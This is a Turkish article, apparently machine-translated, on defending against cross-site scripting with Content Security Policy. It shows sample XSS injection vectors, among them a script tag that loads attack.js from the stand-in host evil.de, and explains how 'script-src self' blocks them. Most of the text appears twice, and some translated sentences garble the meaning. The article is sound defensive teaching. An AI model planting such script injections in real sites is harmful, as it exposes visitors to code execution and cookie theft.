Siteler Arası Komut Dosyası Çalıştırma (XSS), en sık kullanılan ön uç çerçeveler kullanıma hazır pek çok güvenlik özelliği içermesine rağmen ciddi bir tehdit olmaya devam ediyor. React veya Angular gibi çerçeveler varsayılan olarak riskleri en aza indirecek mekanizmalar sağlar, ancak uygunsuz uygulamalar veya harici kitaplıkların dahil edilmesi güvenlik açıklarına yol açabilir. Bu nedenle geliştiriciler yalnızca bu araçlara güvenmemeli, güvenlik bilincine sahip bir şekilde kodlamaya devam etmeli ve XSS'yi etkili bir şekilde önlemek için ek savunma önlemleri almalıdır.
Duyuru
Martina Kraus, ilk yıllarından beri web geliştirmeyle ilgileniyor. Node.js ve Angular'da büyük yazılım çözümlerini uygulama konusunda her zaman heyecan duymuştur. Bağımsız bir yazılım geliştiricisi olarak öncelikle Angular ile çalışarak web uygulamalarında güvenliğe odaklanıyor.
Saldırganlar, XSS açıklarını belirlemek ve güvenilir web sitelerine kötü amaçlı kod eklemek için sürekli olarak yeni yöntemler keşfediyor. Devam eden tehdit nedeniyle, geliştirme ve güvenlik ekiplerinin en iyi uygulamalarını düzenli olarak güncellemesi ve İçerik Güvenliği Politikası (CSP) gibi gelişmiş koruma mekanizmalarını sürekli olarak uygulaması gerekir.
CSP, tarayıcılara tam olarak hangi harici içeriği yükleyebileceklerini belirlediği için XSS'ye karşı korumada merkezi bir rol oynar. Bu makale, XSS saldırılarını önlemek ve web uygulamanızı korumak için katmanlı güvenlik stratejisinin bir parçası olarak CSP'nin kullanımını göstermektedir.
Siteler arası komut dosyası çalıştırmayla kötü amaçlı kod fark edilmez
Siteler arası komut dosyası çalıştırma, web uygulamalarında yaygın bir güvenlik açığıdır. Genellikle JavaScript biçimindeki kötü amaçlı kodun güvenilir bir web sitesinin sayfalarına yerleştirilmesine olanak tanır. Sayfaya eriştiğinizde tarayıcı, girilen kodu kimsenin farkına varmadan çalıştırır. Saldırı, tarayıcının meşru sunucu komut dosyaları ile saldırganların kötü amaçlı komut dosyaları arasında ayrım yapamamasına dayanır.
Bir saldırı genellikle şu şekilde çalışır:
Aşağıdaki örnekte bir web uygulamasının bir XSS güvenlik açığı içerdiği varsayılmaktadır. Saldırgan bu güvenlik açığından yararlanmak için çeşitli veriler kullanabilir. Aşağıdaki kod parçacığında birkaç farklı seçenek listelenmektedir:
//index.html
<!-- 1. Inline code -->
<img src="unknown.png" onerror="maliciousCode()">
<!-- 2. Code block -->
<script>executeBadAttack()</script>
<!-- 3. Remote code file -->
<script src="https://evil.de/attack.js"></script>
Karşı önlem olarak içerik güvenliği politikası
İçerik Güvenliği Politikası'nın ilk versiyonu 2010 yılında yayınlandı. Mozilla geliştiricileri, tedbiri bir akademik makalede ayrıntılı olarak anlattı. Bu belgede, geliştiricilerin tarayıcıya bir web uygulamasının tam olarak hangi kaynakları yükleyebileceğini söylemek için güvenlik politikalarını nasıl tanımlayabileceklerini açıkladılar.
CSP'nin arkasındaki fikir çok olumlu geri bildirimler almış olsa da, modern uygulamalarda kaynak yüklemeyi kontrol etmenin başlangıçta düşünülenden daha karmaşık olduğu ortaya çıktı. Ancak CSP sürekli olarak geliştirilmektedir ve bu nedenle önemli bir güvenlik önlemi olmaya devam etmektedir.
Modern CSP politikalarının merkezi rolü, XSS güvenlik açıklarına karşı ikinci bir savunma hattı olarak hizmet etmektir. Ancak bu yalnızca uygulamanın önce kullanıcı girişini iyice temizlemesi durumunda etkilidir. İyi güvenlik önlemlerine rağmen neredeyse tüm web uygulamalarının er ya da geç XSS'ye karşı savunmasız hale gelebileceği göz önüne alındığında, CSP politikasının saldırganın bu güvenlik açığından yararlanmasını nasıl önleyebileceği sorusu ortaya çıkıyor.
CSP ile komut dosyası yürütülmesini engelleme
İçerik güvenliği politikası çeşitli saldırı vektörlerinin önlenmesini amaçlamaktadır. Bunu yapmak için CSP, komut dosyası kodunun yürütülmesine katı kısıtlamalar getirir. Aşağıdaki kod parçası minimum yapılandırmaya sahip bir CSP başlığını göstermektedir:
Content-Security-Policy: script-src 'self'
Bir CSP politikası her zaman iki bölümden oluşur: direktifler ve ilgili değerler. Yönergeler, komut dosyaları, stil sayfaları, resimler veya çerçeveler gibi hangi tür kaynakların yüklenebileceğini ve hangi kaynaklardan yüklenebileceğini belirler. Direktifler şunları içerir: script-src yukarıdaki örnekte olduğu gibi, style-src, img-srcVE frame-src. JavaScript enjeksiyon saldırılarına karşı koruma sağlamak için komut dosyası-src-Temel direktif.
Her yönerge, içeriğin nereden yüklenebileceğini belirten bir veya daha fazla değer belirtebilir. Kaynaklar URL'ler veya anahtar kelimeler gibi olabilir 'self' (alan adınız) veya 'none' (bu tür kaynakların yüklenmesini tamamen engeller).
Sunucu, tarayıcının HTML sayfasını içeren HTTP yanıtına CSP başlığını ekler. Siyasetin yapılandırılması script-src 'self' tarayıcıya bu sayfanın yalnızca kendisiyle aynı kaynaktan gelen komut dosyalarını çalıştırmasına izin verildiğini söyler. Ayrıca bu HTML sayfasında satır içi JavaScript kodu çalıştırmanın yasak olduğu belirtiliyor.
CSP, uygulamanın kaynaklandığı siteden yalnızca JavaScript kodunun çalıştırılabilmesini sağlayabilir (Şekil 1).
(Fotoğraf: Martina Kraus)
Şekil 1'deki örnekte https://my-site (1) üzerinde çalışan bir uygulama gösterilmektedir. CSP başlık seti ile tarayıcı yalnızca https://my-site (2) ile aynı siteden gelen yüklü JavaScript dosyalarını çalıştırabilir. Diğer her şey engellenmiş olsa bile politika, https://evil.de/attack.js JavaScript dosyasının yürütülmesini de açıkça hariç tutar (3).
Bu, yukarıda gösterilen saldırı vektörleri için ne anlama geliyor?
İlk saldırı sona erdi <img src="unknown.png" onerror="maliciousCode()"> tarayıcı bulunamayan bir resmi yüklemeye çalıştığında kötü amaçlı JavaScript kodunun yürütülmesine dayanır. Kod sayfada mevcut olmasına rağmen tarayıcı CSP kuralı nedeniyle çalıştırılıyor script-src 'self' satır içi JavaScript kodu yok.
Kod yürütmenin engellenmesi aynı zamanda bunu yapmaya çalışan ikinci saldırı vektörüne karşı da koruma sağlar <script>executeBadAttack()</script> Kötü amaçlı olarak eklenen JavaScript kodunu doğrudan yürütün.
Sonunda saldırı sona erdirilmeye çalışılır <script src="https://evil.de/attack.js"></script>https://evil.de adresinden bir JavaScript dosyası indirin. https://evil.de uygulamanın kaynağına karşılık gelmediğinden tarayıcı bu dosyayı yüklemeyi reddedecektir. Bu nedenle CSP, potansiyel olarak şüpheli JavaScript kodunun yürütülmesini tamamen engeller.
Tarayıcı, CSP ihlal edildiğinde bir hata mesajı görüntüler (Şekil 2).
(Resim: ekran görüntüsü (Martina Kraus))
Maalesef bu aynı zamanda uygulamaya gömülü geçerli JavaScript kodunun da çalıştırılmayacağı anlamına gelir. Bu durum sıklıkla meydana geldiğinden şu ana kadar açıklanan CSP kuralları pratik değildir.
İşte tam bu noktada 2016 İçerik Güvenliği Politikası Düzey 2 devreye giriyor. Güvenlikten ödün vermeden pratik uygulamalarla daha iyi uyumluluğu amaçlamaktadır. CSP Seviye 2 iki yeni mekanizma sunar: hash ve nonce.
Duyuru
Martina Kraus, ilk yıllarından beri web geliştirmeyle ilgileniyor. Node.js ve Angular'da büyük yazılım çözümlerini uygulama konusunda her zaman heyecan duymuştur. Bağımsız bir yazılım geliştiricisi olarak öncelikle Angular ile çalışarak web uygulamalarında güvenliğe odaklanıyor.
Saldırganlar, XSS açıklarını belirlemek ve güvenilir web sitelerine kötü amaçlı kod eklemek için sürekli olarak yeni yöntemler keşfediyor. Devam eden tehdit nedeniyle, geliştirme ve güvenlik ekiplerinin en iyi uygulamalarını düzenli olarak güncellemesi ve İçerik Güvenliği Politikası (CSP) gibi gelişmiş koruma mekanizmalarını sürekli olarak uygulaması gerekir.
CSP, tarayıcılara tam olarak hangi harici içeriği yükleyebileceklerini belirlediği için XSS'ye karşı korumada merkezi bir rol oynar. Bu makale, XSS saldırılarını önlemek ve web uygulamanızı korumak için katmanlı güvenlik stratejisinin bir parçası olarak CSP'nin kullanımını göstermektedir.
Siteler arası komut dosyası çalıştırmayla kötü amaçlı kod fark edilmez
Siteler arası komut dosyası çalıştırma, web uygulamalarında yaygın bir güvenlik açığıdır. Genellikle JavaScript biçimindeki kötü amaçlı kodun güvenilir bir web sitesinin sayfalarına yerleştirilmesine olanak tanır. Sayfaya eriştiğinizde tarayıcı, girilen kodu kimsenin farkına varmadan çalıştırır. Saldırı, tarayıcının meşru sunucu komut dosyaları ile saldırganların kötü amaçlı komut dosyaları arasında ayrım yapamamasına dayanır.
Bir saldırı genellikle şu şekilde çalışır:
- Bir güvenlik açığının belirlenmesi: Saldırgan özellikle web uygulamasına kötü amaçlı kod yerleştirme fırsatlarını arar. Bu genellikle yorumlar, kullanıcı adları veya arama sorguları gibi giriş alanları aracılığıyla yapılır.
- Kod enjeksiyonu: Saldırgan bir güvenlik açığı tespit ederse web uygulamasına kötü amaçlı kod enjekte eder. Bu, formlara doğrudan girilerek veya dolaylı olarak URL'deki kodu içeren ve şüphelenmeyen kullanıcılara gönderilen bağlantılar aracılığıyla yapılabilir.
- Kötü amaçlı kod yürütme: Şüphelenmeyen bir kurban siteye erişirse, kötü amaçlı kod bu kişinin tarayıcısında yürütülür. Saldırgan daha sonra diğer şeylerin yanı sıra görüntülenen içeriği değiştirebilir, tarayıcıyı kötü amaçlı bir web sitesine yönlendirebilir veya kurbanın kimliğine bürünmek için çerezlere erişebilir.
Aşağıdaki örnekte bir web uygulamasının bir XSS güvenlik açığı içerdiği varsayılmaktadır. Saldırgan bu güvenlik açığından yararlanmak için çeşitli veriler kullanabilir. Aşağıdaki kod parçacığında birkaç farklı seçenek listelenmektedir:
//index.html
<!-- 1. Inline code -->
<img src="unknown.png" onerror="maliciousCode()">
<!-- 2. Code block -->
<script>executeBadAttack()</script>
<!-- 3. Remote code file -->
<script src="https://evil.de/attack.js"></script>
Karşı önlem olarak içerik güvenliği politikası
İçerik Güvenliği Politikası'nın ilk versiyonu 2010 yılında yayınlandı. Mozilla geliştiricileri, tedbiri bir akademik makalede ayrıntılı olarak anlattı. Bu belgede, geliştiricilerin tarayıcıya bir web uygulamasının tam olarak hangi kaynakları yükleyebileceğini söylemek için güvenlik politikalarını nasıl tanımlayabileceklerini açıkladılar.
CSP'nin arkasındaki fikir çok olumlu geri bildirimler almış olsa da, modern uygulamalarda kaynak yüklemeyi kontrol etmenin başlangıçta düşünülenden daha karmaşık olduğu ortaya çıktı. Ancak CSP sürekli olarak geliştirilmektedir ve bu nedenle önemli bir güvenlik önlemi olmaya devam etmektedir.
Modern CSP politikalarının merkezi rolü, XSS güvenlik açıklarına karşı ikinci bir savunma hattı olarak hizmet etmektir. Ancak bu yalnızca uygulamanın önce kullanıcı girişini iyice temizlemesi durumunda etkilidir. İyi güvenlik önlemlerine rağmen neredeyse tüm web uygulamalarının er ya da geç XSS'ye karşı savunmasız hale gelebileceği göz önüne alındığında, CSP politikasının saldırganın bu güvenlik açığından yararlanmasını nasıl önleyebileceği sorusu ortaya çıkıyor.
CSP ile komut dosyası yürütülmesini engelleme
İçerik güvenliği politikası çeşitli saldırı vektörlerinin önlenmesini amaçlamaktadır. Bunu yapmak için CSP, komut dosyası kodunun yürütülmesine katı kısıtlamalar getirir. Aşağıdaki kod parçası minimum yapılandırmaya sahip bir CSP başlığını göstermektedir:
Content-Security-Policy: script-src 'self'
Bir CSP politikası her zaman iki bölümden oluşur: direktifler ve ilgili değerler. Yönergeler, komut dosyaları, stil sayfaları, resimler veya çerçeveler gibi hangi tür kaynakların yüklenebileceğini ve hangi kaynaklardan yüklenebileceğini belirler. Direktifler şunları içerir: script-src yukarıdaki örnekte olduğu gibi, style-src, img-srcVE frame-src. JavaScript enjeksiyon saldırılarına karşı koruma sağlamak için komut dosyası-src-Temel direktif.
Her yönerge, içeriğin nereden yüklenebileceğini belirten bir veya daha fazla değer belirtebilir. Kaynaklar URL'ler veya anahtar kelimeler gibi olabilir 'self' (alan adınız) veya 'none' (bu tür kaynakların yüklenmesini tamamen engeller).
Sunucu, tarayıcının HTML sayfasını içeren HTTP yanıtına CSP başlığını ekler. Siyasetin yapılandırılması script-src 'self' tarayıcıya bu sayfanın yalnızca kendisiyle aynı kaynaktan gelen komut dosyalarını çalıştırmasına izin verildiğini söyler. Ayrıca bu HTML sayfasında satır içi JavaScript kodu çalıştırmanın yasak olduğu belirtiliyor.
CSP, uygulamanın kaynaklandığı siteden yalnızca JavaScript kodunun çalıştırılabilmesini sağlayabilir (Şekil 1).
(Fotoğraf: Martina Kraus)
Şekil 1'deki örnekte https://my-site (1) üzerinde çalışan bir uygulama gösterilmektedir. CSP başlık seti ile tarayıcı yalnızca https://my-site (2) ile aynı siteden gelen yüklü JavaScript dosyalarını çalıştırabilir. Diğer her şey engellenmiş olsa bile politika, https://evil.de/attack.js JavaScript dosyasının yürütülmesini de açıkça hariç tutar (3).
Bu, yukarıda gösterilen saldırı vektörleri için ne anlama geliyor?
İlk saldırı sona erdi <img src="unknown.png" onerror="maliciousCode()"> tarayıcı bulunamayan bir resmi yüklemeye çalıştığında kötü amaçlı JavaScript kodunun yürütülmesine dayanır. Kod sayfada mevcut olmasına rağmen tarayıcı CSP kuralı nedeniyle çalıştırılıyor script-src 'self' satır içi JavaScript kodu yok.
Kod yürütmenin engellenmesi aynı zamanda bunu yapmaya çalışan ikinci saldırı vektörüne karşı da koruma sağlar <script>executeBadAttack()</script> Kötü amaçlı olarak eklenen JavaScript kodunu doğrudan yürütün.
Sonunda saldırı sona erdirilmeye çalışılır <script src="https://evil.de/attack.js"></script>https://evil.de adresinden bir JavaScript dosyası indirin. https://evil.de uygulamanın kaynağına karşılık gelmediğinden tarayıcı bu dosyayı yüklemeyi reddedecektir. Bu nedenle CSP, potansiyel olarak şüpheli JavaScript kodunun yürütülmesini tamamen engeller.
Tarayıcı, CSP ihlal edildiğinde bir hata mesajı görüntüler (Şekil 2).
(Resim: ekran görüntüsü (Martina Kraus))
Maalesef bu aynı zamanda uygulamaya gömülü geçerli JavaScript kodunun da çalıştırılmayacağı anlamına gelir. Bu durum sıklıkla meydana geldiğinden şu ana kadar açıklanan CSP kuralları pratik değildir.
İşte tam bu noktada 2016 İçerik Güvenliği Politikası Düzey 2 devreye giriyor. Güvenlikten ödün vermeden pratik uygulamalarla daha iyi uyumluluğu amaçlamaktadır. CSP Seviye 2 iki yeni mekanizma sunar: hash ve nonce.